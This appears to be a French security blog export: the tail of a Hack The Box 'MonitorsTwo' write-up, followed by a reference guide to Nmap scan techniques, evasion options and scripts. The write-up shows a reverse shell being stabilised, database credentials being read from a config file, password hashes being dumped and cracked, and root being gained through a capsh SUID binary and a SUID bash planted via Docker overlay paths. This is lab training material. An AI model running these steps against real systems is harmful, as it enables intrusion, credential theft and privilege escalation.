d\u0026rsquo;abord stabiliser notre shell. Python n\u0026rsquo;est pas installé sur la cible, donc nous ne pouvons pas utiliser le module pty(python3 import pty;pty.spawn'(\u0026quot;/bin/bash\u0026quot;)') pour y parvenir. Cependant, nous pouvons utiliser script :\n# Stabilisation du shell avec script www-data@50bca5e748b0:/var/www/html$ which script which script /usr/bin/script www-data@50bca5e748b0:/var/www/html$ script -O /dev/null -q /bin/bash script -O /dev/null -q /bin/bash $ bash bash # Mise en arrière plan de la connexion www-data@50bca5e748b0:/var/www/html$ ^Z [1]+ Stopped nc -lvnp 1337 # Remise en avant plan dans notre shell ┌──(raizen㉿Raizen)-[~] └─$ stty raw -echo; fg nc -lvnp 1337 www-data@50bca5e748b0:/var/www/html$ Maintenant, nous devons obtenir les valeurs des variables rows(lignes) et cols(colonnes) depuis notre machine d\u0026rsquo;attaque :\n┌──(raizen㉿Raizen)-[~] └─$ stty -a speed 38400 baud; rows 51; columns 209; line = 0; intr = ^C; quit = ^\\; erase = ^?; kill = ^U; eof = ^D; eol = \u0026lt;undef\u0026gt;; eol2 = \u0026lt;undef\u0026gt;; swtch = \u0026lt;undef\u0026gt;; start = ^Q; stop = ^S; susp = ^Z; rprnt = ^R; werase = ^W; lnext = ^V; discard = ^O; min = 1; time = 0; -parenb -parodd -cmspar cs8 -hupcl -cstopb cread -clocal -crtscts -ignbrk -brkint -ignpar -parmrk -inpck -istrip -inlcr -igncr icrnl ixon -ixoff -iuclc -ixany -imaxbel -iutf8 opost -olcuc -ocrnl onlcr -onocr -onlret -ofill -ofdel nl0 cr0 tab0 bs0 vt0 ff0 isig icanon iexten echo echoe echok -echonl -noflsh -xcase -tostop -echoprt echoctl echoke -flusho -extproc Et enfin, nous devons définir les mêmes valeurs sur notre machine cible :\nwww-data@50bca5e748b0:/var/www/html$ stty rows 51 cols 209 www-data@50bca5e748b0:/var/www/html$ export TERM=xterm Nous avons maintenant notre point d\u0026rsquo;entrée initial avec un shell bash approprié ! Étant donné que c\u0026rsquo;est un serveur d\u0026rsquo;application web, nous devrons probablement vérifier les fichiers de configuration de la base de données :\n# Recherche de fichiers de configuration www-data@50bca5e748b0:/var/www/html$ find . | grep config ./include/config.php ./docs/images/graphs-edit-nontemplate-configuration.png ./docs/apache_template_config.html # Recherche de chaînes de caractères liées à la base de données dans le fichier de configuration www-data@50bca5e748b0:/var/www/html$ grep database include/config.php * Make sure these values reflect your actual database/host/user/password $database_type = \u0026#39;mysql\u0026#39;; $database_default = \u0026#39;cacti\u0026#39;; $database_hostname = \u0026#39;db\u0026#39;; $database_username = \u0026#39;root\u0026#39;; $database_password = \u0026#39;root\u0026#39;; $database_port = \u0026#39;3306\u0026#39;; $database_retries = 5; $database_ssl = false; $database_ssl_key = \u0026#39;\u0026#39;; $database_ssl_cert = \u0026#39;\u0026#39;; $database_ssl_ca = \u0026#39;\u0026#39;; $database_persist = false; #$rdatabase_type = \u0026#39;mysql\u0026#39;; #$rdatabase_default = \u0026#39;cacti\u0026#39;; #$rdatabase_hostname = \u0026#39;localhost\u0026#39;; #$rdatabase_username = \u0026#39;cactiuser\u0026#39;; #$rdatabase_password = \u0026#39;cactiuser\u0026#39;; #$rdatabase_port = \u0026#39;3306\u0026#39;; #$rdatabase_retries = 5; #$rdatabase_ssl = false; #$rdatabase_ssl_key = \u0026#39;\u0026#39;; #$rdatabase_ssl_cert = \u0026#39;\u0026#39;; #$rdatabase_ssl_ca = \u0026#39;\u0026#39;; * Save sessions to a database for load balancing * are defined in lib/database.php Le fichier de configuration ci-dessus contient tout ce dont nous avons besoin pour nous connecter au serveur de base de données :\n# Connexion au serveur mysql www-data@50bca5e748b0:/var/www/html$ mysql -u root -proot -h db Welcome to the MariaDB monitor. Commands end with ; or \\g. Your MySQL connection id is 221 Server version: 5.7.40 MySQL Community Server (GPL) Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others. Type \u0026#39;help;\u0026#39; or \u0026#39;\\h\u0026#39; for help. Type \u0026#39;\\c\u0026#39; to clear the current input statement. # Listage des bases de données MySQL [(none)]\u0026gt; show databases; +--------------------+ | Database | +--------------------+ | information_schema | | cacti | | mysql | | performance_schema | | sys | +--------------------+ 5 rows in set (0.002 sec) # Selection de la base de donnée: MySQL [(none)]\u0026gt; use cacti; Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A Database changed # Listage des tables de bases de données MySQL [cacti]\u0026gt; show tables; +-------------------------------------+ | Tables_in_cacti | +-------------------------------------+ \u0026lt;SNIP\u0026gt; | user_auth | | user_auth_cache | | user_auth_group | | user_auth_group_members | | user_auth_group_perms | | user_auth_group_realm | | user_auth_perms | | user_auth_realm | | user_domains | | user_domains_ldap | | user_log | | vdef | | vdef_items | | version | +-------------------------------------+ 111 rows in set (0.001 sec) # Extraction de la première ligne de la table pour énumérer ses champs MySQL [cacti]\u0026gt; SELECT * FROM user_auth LIMIT 1 \\G; *************************** 1. row *************************** id: 1 username: admin password: $2y$10$IhEA.Og8vrvwueM7VEDkUes3pwc3zaBbQ/iuqMft/llx8utpR1hjC realm: 0 full_name: Jamie Thompson email_address: admin@monitorstwo.htb must_change_password: password_change: on show_tree: on show_list: on show_preview: on graph_settings: on login_opts: 2 policy_graphs: 1 policy_trees: 1 policy_hosts: 1 policy_graph_templates: 1 enabled: on lastchange: -1 lastlogin: -1 password_history: -1 locked: failed_attempts: 0 lastfail: 0 reset_perms: 663348655 1 row in set (0.000 sec) ERROR: No query specified -Nous pouvons déjà y trouver les information de connexion sur le compte ``admin`` # selection des champs qui nous intéressent (noms et mots de passe): MySQL [cacti]\u0026gt; SELECT username, password FROM user_auth ; +----------+--------------------------------------------------------------+ | username | password | +----------+--------------------------------------------------------------+ | admin | $2y$10$IhEA.Og8vrvwueM7VEDkUes3pwc3zaBbQ/iuqMft/llx8utpR1hjC | | guest | 43e9a4ab75570f5b | | marcus | $2y$10$vcrYth5YcCLlZaPDj6PwqOYTw68W1.3WeKlBn70JonsdW/MhFYK4C | +----------+--------------------------------------------------------------+ 3 rows in set (0.001 sec) Le modificateur \\G dans le client de ligne de commande MySQL.\nNous pouvons maintenant essayer de cracker ces hash sur notre machine en utilisant d\u0026rsquo;abord le mode de détection automatique de hashcat pour déterminer le type de hachage :\n┌──(raizen㉿Raizen)-[~] └─$ cat hashes admin:$2y$10$IhEA.Og8vrvwueM7VEDkUes3pwc3zaBbQ/iuqMft/llx8utpR1hjC marcus:$2y$10$vcrYth5YcCLlZaPDj6PwqOYTw68W1.3WeKlBn70JonsdW/MhFYK4C # En utilisant le mode d\u0026#39;auto detection ┌──(raizen㉿Raizen)-[~] └─$ hashcat hashes /usr/share/wordlists/rockyou.txt --username hashcat (v6.2.6) starting in autodetect mode \u0026lt;SNIP\u0026gt; The following 4 hash-modes match the structure of your input hash: # | Name | Category ======+============================================================+======================== 3200 | bcrypt $2*$, Blowfish (Unix) | Operating System 25600 | bcrypt(md5($pass)) / bcryptmd5 | Forums, CMS, E-Commerce 25800 | bcrypt(sha1($pass)) / bcryptsha1 | Forums, CMS, E-Commerce 28400 | bcrypt(sha512($pass)) / bcryptsha512 | Forums, CMS, E-Commerce Please specify the hash-mode with -m [hash-mode]. Started: Fri Jan 26 06:42:36 2024 Stopped: Fri Jan 26 06:42:38 2024 Nos hash commencent par $2y$, ce qui correspond mieux au format bcrypt de la category operating system. Nous choisirons donc le mode 3200 dans hashcat.\n┌──(raizen㉿Raizen)-[~] └─$ hashcat -m 3200 hashes /usr/share/wordlists/rockyou.txt --username \u0026lt;SNIP\u0026gt; $2y$10$vcrYth5YcCLlZaPDj6PwqOYTw68W1.3WeKlBn70JonsdW/MhFYK4C:funkymonkey [s]tatus [p]ause [b]ypass [c]heckpoint [f]inish [q]uit =\u0026gt; s Session..........: hashcat Status...........: Running Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix)) Hash.Target......: hashes Time.Started.....: Fri Jan 26 06:46:23 2024 (7 mins, 57 secs) Time.Estimated...: Tue Jan 30 09:23:44 2024 (4 days, 2 hours) En moins de 10min nous obtenons un résultat pour l\u0026rsquo;utilisateur marcus :\n┌──(raizen㉿Raizen)-[~] └─$ hashcat -m 3200 --username --show hashes marcus:$2y$10$vcrYth5YcCLlZaPDj6PwqOYTw68W1.3WeKlBn70JonsdW/MhFYK4C:funkymonkey We can now use these creds, marcus:funkymonkey, for logging into SSH:\n┌──(raizen㉿Raizen)-[~] └─$ ssh marcus@10.10.11.211 marcus@10.10.11.211\u0026#39;s password: \u0026lt;SNIP\u0026gt; You have mail. Last login: Thu Mar 23 10:12:28 2023 from 10.10.14.40 ┌──(marcus㉿monitorstwo)-[~] └─$ Élevation de privilèges # Nous pouvons maintenant utiliser ces identifiants marcus:funkymonkey pour nous connecter via SSH :\n┌──(marcus㉿monitorstwo)-[~] └─$ cat user.txt \u0026lt;********************************\u0026gt; À ce niveau nous retournons donc comme la première fois dans le dossier /var/mail/ où nous trouverons le mail de l\u0026rsquo;admin destiné aux utilisateurs du système et faisant mention de trois CVE, dont seul le dernier concernant une version de contenant vulnérable sera exploitable dans notre cas:\n┌──(marcus㉿monitorstwo)-[~] └─$ cat /var/mail/marcus From: administrator@monitorstwo.htb To: all@monitorstwo.htb Subject: Security Bulletin - Three Vulnerabilities to be Aware Of Dear all,... La description de la vulnérabilité fait référence aux répertoires sous /var/lib/docker/, donc nous ne sommes intéressés que par ceux-ci.\n# Listage des conteneurs Docker ┌──(marcus㉿monitorstwo)-[~] └─$ findmnt TARGET SOURCE FSTYPE OPTIONS \u0026lt;SNIP\u0026gt; │ nsfs rw ├─/var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007effec/merged │ overlay overlay rw,relatime,lowerdir=/var/lib/docker/overlay2/l/756FTPFO4AE7HBWVGI5TXU76FU:/var/lib/docker/overlay2/l/XKE4ZK5GJUTHXKVYS4MQMJ3NOB:/var/lib/docker/over ├─/var/lib/docker/containers/e2378324fced58e8166b82ec842ae45961417b4195aade5113fdc9c6397edc69/mounts/shm │ shm tmpfs rw,nosuid,nodev,noexec,relatime,size=65536k ├─/var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged │ overlay overlay rw,relatime,lowerdir=/var/lib/docker/overlay2/l/4Z77R4WYM6X4BLW7GXAJOAA4SJ:/var/lib/docker/overlay2/l/Z4RNRWTZKMXNQJVSRJE4P2JYHH:/var/lib/docker/over └─/var/lib/docker/containers/50bca5e748b0e547d000ecb8a4f889ee644a92f743e129e52f7a37af6c62e51e/mounts/shm shm tmpfs rw,nosuid,nodev,noexec,relatime,size=65536k Nous devons déterminer le conteneur associé à l\u0026rsquo;application Cacti, car notre session de shell conteneurisé se trouve à l\u0026rsquo;intérieur de celui-ci. Nous pouvons le faire en créant un fichier depuis notre session de shell conteneurisé (notre point d\u0026rsquo;entrée initial), puis vérifier si ce fichier est disponible depuis l\u0026rsquo;extérieur du conteneur avec marcus.\n# Déplaçons nous vers le répertoire /tmp et créons un fichier test www-data@50bca5e748b0:/var/www/html$ cd /tmp www-data@50bca5e748b0:/tmp$ touch test Les contenus les plus lourds sont généralement des images, et si le pilote de stockage par défaut overlay2 est utilisé, alors ces images Docker sont stockées dans /var/lib/docker/overlay2 (freecodecamp). Par conséquent, nous devons juste vérifier 2 des 4 chemins de conteneurs trouvés ci-dessus :\nNous pouvons vérifier chacun de ces 2 conteneurs séquentiellement pour voir lequel contient le fichier test :\n┌──(marcus㉿monitorstwo)-[~] └─$ ls -l /var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007effec/merged/tmp/test ls: cannot access \u0026#39;/var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007effec/merged/tmp/test\u0026#39;: No such file or directory ┌──(marcus㉿monitorstwo)-[~] └─$ ls -l /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged/tmp/test -rw-r--r-- 1 www-data www-data 0 Jan 26 08:00 /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged/tmp/test Le conteneur Cacti est donc: c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1. Maintenant, nous devons attribuer des permissions SUID à /bin/bash, afin que marcus puisse l\u0026rsquo;exécuter depuis l\u0026rsquo;extérieur et obtenir un shell root. Pour ce faire, nous devons d\u0026rsquo;abord élever nos privilèges à l\u0026rsquo;intérieur du conteneur.\nCelà se fera comme dans la première méthodologie en recherchant les fichiers avec un bit SUID:\nwww-data@50bca5e748b0:/tmp$ find / -perm -4000 2\u0026gt;/dev/null /usr/bin/gpasswd /usr/bin/passwd /usr/bin/chsh /usr/bin/chfn /usr/bin/newgrp /sbin/capsh /bin/mount /bin/umount /bin/su En suivant les instruction d\u0026rsquo;exploitation du binaire /sbin/capsh comme indiqué sur Gtfobins nous obtenons notre accès root:\n#root www-data@50bca5e748b0:/tmp$ /sbin/capsh --gid=0 --uid=0 -- root@50bca5e748b0:/tmp# id uid=0(root) gid=0(root) groups=0(root),33(www-data) Étant root nous pouvons donc assigner le bit SUID au binaire /bin/bash: # assignation de permission SUID root@50bca5e748b0:/tmp# chmod u+s /bin/bash # vérification root@50bca5e748b0:/tmp# ls -l /bin/bash -rwsr-xr-x 1 root root 1234376 Mar 27 2022 /bin/bash Enfin, nous pouvons retourner à la session SSH de marcus et exécuter le binaire bash en utilisant l\u0026rsquo;option -p (link)\nflag:\n┌──(marcus㉿monitorstwo)-[~] └─$ cd /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged/bin marcus@monitorstwo:/var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged/bin$ ls -l bash -rwsr-xr-x 1 root root 1234376 Mar 27 2022 bash ┌──(marcus㉿monitorstwo)-[/var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged/bin] └─$ ./bash -p bash-5.1# id uid=1000(marcus) gid=1000(marcus) euid=0(root) groups=1000(marcus) bash-5.1# cat /root/root.txt \u0026lt;********************************\u0026gt; ","date":"16 décembre 2023","externalUrl":null,"permalink":"/posts/htb-monitorstwo/","section":"Posts","summary":"MonitorsTwo est une machine Linux de difficulté facile. Elle met en avant quelques vulnérabilités et erreurs de configurations qui seront exploitées afin de prendre le contrôle du système suivant la kill-chain\u0026hellip;","title":"MonitorsTwo (HTB)","type":"posts"},{"content":"","date":"16 décembre 2023","externalUrl":null,"permalink":"/tags/post/","section":"Tags","summary":"","title":"Post","type":"tags"},{"content":"","date":"23 septembre 2023","externalUrl":null,"permalink":"/tags/network-analysis/","section":"Tags","summary":"","title":"Network Analysis","type":"tags"},{"content":"","date":"23 septembre 2023","externalUrl":null,"permalink":"/tags/nmap/","section":"Tags","summary":"","title":"Nmap","type":"tags"},{"content":"Dans le cadre des tests d\u0026rsquo;intrusion (pentesting) et des défis CTF (Capture The Flag), la phase d\u0026rsquo;énumération constitue une étape essentielle. C\u0026rsquo;est ici que Nmap, un outil incontournable pour les professionnels de la sécurité informatique, entre en scène.\nNmap, abréviation de Network Mapper, est un utilitaire puissant et polyvalent, utilisé tant par les administrateurs réseau que par les experts en cybersécurité pour analyser, explorer et sécuriser les infrastructures réseau.\nQue ce soit pour auditer la sécurité d\u0026rsquo;un réseau interne, identifier les dispositifs connectés ou évaluer la surface d\u0026rsquo;attaque d\u0026rsquo;un réseau distant, Nmap est un outil privilégié. Ses fonctionnalités avancées permettent de cartographier les hôtes d\u0026rsquo;un réseau, de détecter les ports ouverts, d\u0026rsquo;identifier les services actifs, et bien plus encore.\nDans ce guide, nous explorerons les différentes options d\u0026rsquo;analyse qu\u0026rsquo;offre Nmap, et nous examinerons leur pertinence dans divers contextes de sécurité. I- Analyse du Réseau # Avant d\u0026rsquo;explorer les techniques avancées de scan de ports offertes par Nmap, il est crucial de comprendre le fonctionnement général de cet outil et de se familiariser avec la syntaxe d\u0026rsquo;une commande standard ainsi que ses options par défaut.\nFonctionnement Général de Nmap L\u0026rsquo;outil Nmap fonctionne en envoyant des paquets réseau à la cible et se sert de l\u0026rsquo;analyse des réponses pour déterminer entre autres quels ports sont ouverts, quels services sont en cours d\u0026rsquo;exécution sur ces ports, et quelles sont les adresses IP des hôtes actifs sur le réseau. Il utilise différentes techniques de scan (que nous verront dans la section suivante) pour accomplir ces tâches. Chacune de ces techniques ayant leurs propres utilités, avantages et inconvénients en termes de discrétion, vitesse et détection.\nCommande Standard de Nmap La structure d\u0026rsquo;une commande Nmap est généralement la suivante :\nnmap [options] [cibles]\nLes options permettent de spécifier les paramètres du scan, tels que les techniques de scan à utiliser, les types de ports à scanner, etc. Les cibles désignent les adresses IP ou les plages d\u0026rsquo;adresses à scanner.\nII- Techniques de Scans # Scan SYN (-sS): Ce type de scan envoie un paquet SYN sans finaliser la connexion TCP, ce qui le rend discret et difficile à détecter. Il est particulièrement utile pour les tests d\u0026rsquo;intrusion furtifs, mais nécessite souvent des privilèges administratifs.\nScan Connecté (-sT): Contrairement au scan SYN, ce scan établit une connexion complète via TCP. Bien qu\u0026rsquo;il laisse une trace, il peut être exécuté sans privilèges élevés.\nScan UDP (-sU): Ce scan teste les ports UDP, souvent utilisés par des services tels que DNS (port 53), SNMP (ports 161/163) et DHCP (ports 67/68). Il est généralement plus lent que le scan TCP en raison de la nature non connectée du protocole UDP.\nScan SCTP INIT (-sY): Ce scan utilise le protocole SCTP, en envoyant un paquet INIT sans établir de connexion, similaire au SYN scan pour TCP. Il est utile pour éviter la journalisation des connexions.\nScans Null (-sN), Fin (-sF), et Xmas (-sX): Ces scans envoient des paquets avec des combinaisons spécifiques de flags TCP (aucun, FIN, ou un ensemble de flags inhabituels) pour contourner certains pare-feu et extraire des informations sur les ports ouverts.\nScan Maimon (-sM): Ce scan envoie des paquets avec les flags FIN et ACK, principalement destiné aux systèmes BSD. Cependant, il peut souvent rapporter tous les ports comme étant fermés dans les systèmes actuels.\nScans ACK (-sA) et Window (-sW): Utilisés pour identifier la présence de pare-feu, ces scans se basent sur la manière dont les pare-feu réagissent aux paquets ACK et sur l\u0026rsquo;analyse des tailles de fenêtre TCP.\nScan Idle (-sI): Ce scan permet une reconnaissance discrète en utilisant un hôte intermédiaire. Il est efficace lorsque certaines adresses IP ne sont pas filtrées par le pare-feu.\nOption \u0026ndash;badsum: Envoie des paquets avec une somme de contrôle incorrecte pour provoquer des réponses inattendues des pare-feu, révélant potentiellement des informations sur leur configuration.\nScan SCTP Weird (-sZ): Conçu pour contourner les pare-feu, ce scan est cependant limité par son incapacité à distinguer les ports filtrés des ports ouverts.\nScan de Protocole IP (-sO): Ce scan envoie des en-têtes IP mal formés pour détecter les protocoles IP supportés par la cible.\nScan par FTP Bounce (-b ): Permet de scanner une cible via un serveur FTP intermédiaire. Bien que peu utilisé dans la pratique, il reste une technique intéressante pour certains environnements spécifiques.\nDécouverte d\u0026rsquo;Équipement # Lors de la phase de découverte, Nmap utilise par défaut une combinaison de techniques pour identifier les équipements actifs sur le réseau. Ces techniques incluent les options suivantes : -PA80, -PS443, -PE, et -PP, qui spécifient les sondes utilisées par Nmap pour cette étape.\nPA80 : Envoie des paquets TCP SYN vers le port 80 (HTTP) pour tenter d\u0026rsquo;établir une connexion. Le port 80 étant largement utilisé pour les serveurs web, cette option permet de vérifier la disponibilité des hôtes exécutant des services HTTP.\nPS443 : Envoie des paquets TCP SYN vers le port 443 (HTTPS), utilisé pour les connexions sécurisées. Cela permet de tester la connectivité des hôtes via des services HTTPS.\nPE : Envoie des paquets ICMP Echo Request (requête de ping) pour vérifier la disponibilité des hôtes de manière non intrusive.\nPP : Envoie des paquets ICMP Timestamp Request pour tester la connectivité, offrant une autre méthode discrète pour identifier les hôtes actifs.\nEn combinant ces sondes, Nmap est capable d\u0026rsquo;identifier les équipements actifs sur le réseau, ce qui permet ensuite de procéder à des analyses plus approfondies des ports et des services.\nAutres options de découverte # sL : Ce scan non intrusif effectue des requêtes DNS pour la résolution des noms, ce qui permet de lister les cibles sans envoyer de paquets aux hôtes directement. Il s\u0026rsquo;agit d\u0026rsquo;une approche discrète pour recenser les équipements.\nPn : Désactive le ping, instructant Nmap de ne pas vérifier la disponibilité des hôtes via ICMP. Utile lorsque vous savez que les cibles sont actives mais ne répondent pas aux requêtes de ping.\nsn : Réalise uniquement la découverte d\u0026rsquo;hôtes sans effectuer de scan de ports, ce qui le rend discret et efficace pour une cartographie rapide du réseau.\nPR : Utilise un ping ARP pour identifier les hôtes actifs sur un réseau local. Cette méthode est souvent utilisée par défaut sur les réseaux Ethernet, car elle est précise et rapide dans un environnement local.\n-PM : Effectue un ping ICMP Address Mask Request pour vérifier si l\u0026rsquo;hôte est actif.\nPS \u0026lt;ports\u0026gt; : Envoie des paquets SYN à des ports spécifiques pour tester leur connectivité. Les réponses permettent de déterminer si le port est ouvert, fermé, ou filtré.\nPA \u0026lt;ports\u0026gt; : Semblable à PS, mais en utilisant des paquets ACK pour tester les ports. Cette méthode peut être utilisée en complément pour obtenir des informations supplémentaires.\nPU \u0026lt;ports\u0026gt; : Envoie des sondes à des ports supposés fermés pour tester la réaction des pare-feu, une technique utile pour la détection des dispositifs de filtrage.\nPY \u0026lt;ports\u0026gt; : Envoie des sondes SCTP INIT pour déterminer l\u0026rsquo;état des ports (ouvert, fermé ou injoignable), généralement sur le port 80 par défaut.\nPO \u0026lt;protocols\u0026gt; : Spécifie les protocoles à inclure dans les en-têtes des paquets, par exemple ICMP (1), IGMP (2), ou Encap IP (4).\n-n : Désactive la résolution DNS, ce qui permet d\u0026rsquo;accélérer le scan en évitant de résoudre les noms d\u0026rsquo;hôtes associés aux adresses IP.\n-R : Force la résolution DNS pour toutes les cibles, garantissant ainsi que les noms d\u0026rsquo;hôtes sont inclus dans les résultats du scan.\nOptions de Ports # -p \u0026lt;ports\u0026gt; : Permet de spécifier les ports à scanner. Cette option est suivie de la liste des ports ou des plages que vous souhaitez analyser. Par exemple, pour scanner tous les ports, utilisez -p- ou -p all.\n-F : Effectue un scan rapide en ne vérifiant que les 100 ports les plus couramment utilisés, réduisant ainsi le temps d\u0026rsquo;analyse.\n--top-ports \u0026lt;nombre\u0026gt; : Spécifie le nombre de ports les plus courants à analyser, de 1 à 65 535, en fonction de leur fréquence d’utilisation sur les réseaux.\n-r : Force Nmap à scanner les ports dans un ordre séquentiel (et non aléatoire), ce qui peut être utile pour des tests de performance ou pour éviter certaines stratégies de détection de scan.\n--port-ratio \u0026lt;ratio\u0026gt; : Permet de focaliser l\u0026rsquo;analyse sur les ports les plus communément ouverts, en spécifiant un ratio entre 0 et 1. Cela peut optimiser les scans en se concentrant sur les ports les plus susceptibles d’être actifs.\nScan de Version (-sV) # -sV : Cette option permet à Nmap d\u0026rsquo;identifier les versions des services actifs sur les ports ouverts. Elle envoie des sondes spécifiques pour obtenir des informations détaillées sur les services. Vous pouvez ajuster l\u0026rsquo;intensité du scan de version, sur une échelle de 0 à 9, avec une valeur par défaut de 7.\n--version-intensity \u0026lt;nombre\u0026gt; : Permet de contrôler l\u0026rsquo;intensité du scan de version. Une intensité plus faible lancera uniquement les sondes les plus probables, ce qui peut réduire la durée du scan, notamment dans le cadre de scans UDP.\nDétection d\u0026rsquo;OS (-O) # -O : Cette option active la détection du système d\u0026rsquo;exploitation (OS) en analysant les réponses des paquets réseau. Nmap tente d\u0026rsquo;identifier l\u0026rsquo;OS en fonction des caractéristiques des hôtes.\n--osscan-limit : Limite la détection d\u0026rsquo;OS si moins de deux ports (un ouvert et un fermé) sont détectés. Cela permet de réduire le temps de scan si les conditions d\u0026rsquo;analyse ne sont pas optimales.\n--osscan-guess : Améliore la précision de la détection en cas d\u0026rsquo;incertitude, en effectuant une analyse plus approfondie des réponses réseau. Cette option force Nmap à faire des prédictions même si les résultats sont partiels.\nIII- Scripts # L\u0026rsquo;option --script de Nmap permet d\u0026rsquo;exécuter des scripts pendant les scans, augmentant ainsi la capacité de collecte d\u0026rsquo;informations. Ces scripts, appelés Nmap Scripting Engine (NSE), peuvent être spécifiés de différentes manières : par nom de fichier, catégorie, répertoire ou à l\u0026rsquo;aide d\u0026rsquo;expressions régulières. Vous pouvez aussi exécuter des scripts prédéfinis via les options suivantes :\n-sC ou \u0026ndash;script=default : Exécute les scripts par défaut, équivalents à --script=default, conçus pour fournir un bon aperçu des vulnérabilités sans être trop intrusifs. Catégories de scripts disponibles # Les scripts NSE sont organisés en différentes catégories, chacune visant à analyser un aspect particulier de la cible :\nAuth : Scripts pour tester les mécanismes d\u0026rsquo;authentification. Default : Ensemble de scripts par défaut qui fournissent un bon point de départ pour des analyses initiales. Discovery : Scripts de découverte permettant d\u0026rsquo;obtenir des informations supplémentaires sur la cible. External : Scripts s\u0026rsquo;appuyant sur des ressources externes pour analyser la cible. Intrusive : Scripts pouvant provoquer des modifications ou un comportement inattendu sur la cible. Malware : Scripts qui détectent les indicateurs de compromission (IoC) associés à des logiciels malveillants. Safe : Scripts non intrusifs garantissant qu\u0026rsquo;aucune modification n\u0026rsquo;est apportée à la cible. Vuln : Scripts dédiés à la détection de vulnérabilités connues. All : Exécute l\u0026rsquo;ensemble des scripts NSE disponibles. Recherche et filtrage des scripts # Pour affiner la sélection des scripts à utiliser, Nmap permet de rechercher des scripts spécifiques grâce à l\u0026rsquo;option --script-help. Celle-ci permet d\u0026rsquo;afficher des informations sur des scripts en fonction de leur nom, catégorie ou comportement. Exemples de recherches :\nnmap --script-help=\u0026quot;http-*\u0026quot; : Affiche tous les scripts dont le nom commence par \u0026ldquo;http-\u0026rdquo;. nmap --script-help=\u0026quot;not intrusive\u0026quot; : Exclut les scripts intrusifs et liste les autres. nmap --script-help=\u0026quot;default or safe\u0026quot; : Affiche les scripts appartenant aux catégories \u0026ldquo;default\u0026rdquo; ou \u0026ldquo;safe\u0026rdquo;. nmap --script-help=\u0026quot;default and safe\u0026quot; : Affiche les scripts qui sont à la fois dans les catégories \u0026ldquo;default\u0026rdquo; et \u0026ldquo;safe\u0026rdquo;. nmap --script-help=\u0026quot;(default or safe or intrusive) and not http-*\u0026quot; : Affiche les scripts des catégories \u0026ldquo;default\u0026rdquo;, \u0026ldquo;safe\u0026rdquo; ou \u0026ldquo;intrusive\u0026rdquo; mais exclut ceux liés au protocole HTTP. Utilisation des arguments de scripts # Certains scripts NSE peuvent recevoir des arguments pour personnaliser leur fonctionnement. Vous pouvez les spécifier via l\u0026rsquo;option --script-args, qui permet de passer des valeurs spécifiques à des paramètres de scripts :\nnmap --script-args «n1»=«v1»,«n2»={_«n3»=«v3»},«n4»={_«v4»_,_«v5»} : Permet de définir plusieurs ensembles d\u0026rsquo;arguments. Si vous avez une configuration plus complexe ou des ensembles d\u0026rsquo;arguments récurrents, il est possible de les fournir à partir d\u0026rsquo;un fichier texte en utilisant --script-args-file, ce qui est particulièrement pratique pour les configurations automatisées.\nAide, débogage et mise à jour des scripts # \u0026ndash;script-help «nom_fichier» | «catégorie» | «répertoire» | «expression» | all : Cette option affiche de l\u0026rsquo;aide sur les scripts en fonction du fichier, de la catégorie, du répertoire, ou d\u0026rsquo;une expression régulière. Spécifier \u0026ldquo;all\u0026rdquo; affiche l\u0026rsquo;aide pour tous les scripts disponibles. \u0026ndash;script-trace : Active le traçage détaillé de l\u0026rsquo;exécution des scripts, fournissant des informations précieuses pour le débogage ou la compréhension des interactions entre les scripts et la cible. \u0026ndash;script-updatedb : Met à jour la base de données des scripts NSE installés, nécessaire lorsque vous ajoutez de nouveaux scripts ou effectuez des mises à jour sur les scripts existants. IV- Contrôle du Temps et de l\u0026rsquo;Aggressivité des Scans # Nmap propose plusieurs options pour ajuster le contrôle du temps et l\u0026rsquo;agressivité des scans, permettant ainsi de mieux gérer les ressources et d\u0026rsquo;adapter les performances en fonction des besoins spécifiques.\nContrôle du Temps # Nmap permet de configurer les délais et les performances des scans en utilisant des unités de temps variées (millisecondes, secondes, minutes) :\nTemps de scan ajustable : Vous pouvez définir le temps en utilisant des arguments tels que --host-timeout, qui accepte des formats variés : 900000ms, 900, 900s, et 15m effectuent tous la même tâche, soit un délai de 15 minutes.\nContrôle des groupes d\u0026rsquo;hôtes :\n--min-hostgroup «numhosts» et --max-hostgroup «numhosts» permettent de définir la taille des groupes d\u0026rsquo;hôtes analysés simultanément. Contrôle du parallélisme :\n--min-parallelism «numprobes» et --max-parallelism «numprobes» contrôlent le nombre de sondes envoyées en parallèle. Temps de réponse RTT (Round Trip Time) :\n--min-rtt-timeout «time», --max-rtt-timeout «time», et --initial-rtt-timeout «time» permettent d\u0026rsquo;ajuster les délais de réponse pour les connexions. Nombre de tentatives :\n--max-retries «numtries» ajuste le nombre de tentatives avant d\u0026rsquo;abandonner une connexion. Délai entre scans :\n--scan-delay «time» et --max-scan-delay «time» modifient le délai entre chaque test envoyé à un hôte. Taux d\u0026rsquo;envoi de paquets :\n--min-rate «number» et --max-rate «number» ajustent le nombre de paquets envoyés par seconde, ce qui peut influencer la vitesse du scan. Bypass des limites RST :\n--defeat-rst-ratelimit permet d\u0026rsquo;ignorer les limitations de réponse RST (Reset) sur certains réseaux, accélérant ainsi le scan. Contrôle de l\u0026rsquo;Aggressivité # L\u0026rsquo;option -T dans Nmap ajuste le niveau d\u0026rsquo;agressivité du scan en modifiant divers paramètres comme les délais, le parallélisme, et la gestion des ressources. Les niveaux d\u0026rsquo;agressivité sont définis comme suit :\n-T0 (paranoid) : Effectue un test à la fois, en introduisant 